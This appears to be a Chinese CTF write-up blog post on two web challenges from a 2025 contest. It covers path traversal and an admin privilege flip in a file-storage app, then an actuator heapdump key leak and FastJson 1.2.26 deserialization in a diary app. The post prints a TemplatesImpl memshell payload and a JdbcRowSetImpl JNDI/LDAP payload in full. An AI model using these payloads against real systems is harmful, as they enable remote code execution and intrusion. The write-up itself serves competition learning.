目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 简单的仓库
    2. 2.2. 日记本

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2025数字中国时空数据安全赛题(场景安全实操组)

2025/3/22 CTF线上赛 Java JNDI FastJson
  |     |   总文章阅读量:

前言

第一次能在比赛里把 java 题做下来,挺好


Web

简单的仓库

注册一个账号并登录,抓包发现存在 /api/files

image-20250322150918289

path参数可以目录穿越查看目录

/api/recharge 充值接口

image-20250322151014065

此处可以可以直接越权 permission 为 admin,充入足够的钱

开通vip后可以上传文件和任意文件读取

image-20250322151241333

user处是目录位置,/download/ 后跟的是要读的文件名

image-20250322151141793

在 /var/tmp 下发现 flag.txt


日记本

actuator 泄露,swagger 接口泄露,fastjson 反序列化 jdbcimpl 链打 cc

dirsearch 扫出 actuator 和 swagger-ui 泄露

/actuator/heapdump 泄露可以 dump 得到 APP_SECURITY_KEY

swagger-ui 处可以发现一个 /api/auth/v1/register 接口

尝试注册发现被弃用了

image-20250322151512856

测试发现在 /api/auth/v2/register 也有一个注册接口,抽象的是上面是 json 格式传入这里变成了 post 表单

image-20250322151623075

然后去 /api/auth/update 处修改权限为 admin,key 就是前面 dump 下来的 APP_SECURITY_KEY

image-20250322151732702

更新权限完需要重新登录一下

访问 /api/admin/hint 可以得到 app.jar 源码

image-20250322152117038

fastjson 1.2.26,还有 cc3.2.1

那么漏洞点就在 /api/admin/diaries 这里的 JSON.parseObject

1.2.26 版本需要绕过,sprintboot 2.7.6,试图打 Templates 链内存马

{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["memshell"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b","_version": "1.0","allowedProtocols": "all"}}

本地测试一下,这个打过去报 Autotype is not support 了,寄,但是配置上没问题,仔细一想我好像不能给字节码编码传json(

image-20250323125111226

jdk8u342,尝试 jndi 打 cc 链,yakit 起一个 ldap

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1099/exp", "autoCommit":true}

image-20250322153040735

然后打远程

根据这一段:

@Operation(
    summary = "获取hint",
    description = "管理员接口:根据条件返回不同文件"
)
@GetMapping({"/hint"})
public void getHint(HttpSession session, HttpServletResponse response) {
    if (!this.checkAdminRole(session)) {
        try {
            response.getWriter().write("无权限访问");
        } catch (IOException var6) {
        }
    } else {
        try {
            String hint = "Please execute /readflag and then access hint again.";
            System.out.println(hint);
            File flagFile = new File("/app/F1A9.txt");
            File jarFile = new File("/app/app.jar");
            if (flagFile.exists()) {
                response.setContentType("text/plain");
                response.setHeader("Content-Disposition", "attachment; filename=\"F1A9.txt\"");
                response.setContentLength((int)flagFile.length());
                Files.copy(flagFile.toPath(), response.getOutputStream());
            } else {
                if (!jarFile.exists()) {
                    response.getWriter().write("文件不存在");
                    return;
                }

                response.setContentType("application/java-archive");
                response.setHeader("Content-Disposition", "attachment; filename=\"app.jar\"");
                response.setContentLength((int)jarFile.length());
                Files.copy(jarFile.toPath(), response.getOutputStream());
            }

            response.getOutputStream().flush();
        } catch (Exception var8) {
            Exception e = var8;

            try {
                response.getWriter().write("获取hint失败:" + e.getMessage());
            } catch (IOException var7) {
            }
        }
    }
}

可知需要执行 /readflag,然后 /app 下会有 F1A9.txt,此时再访问 /api/admin/hint 就有 flag 了

感觉预期应该是不出网的直接执行 /readflag 拿 F1A9.txt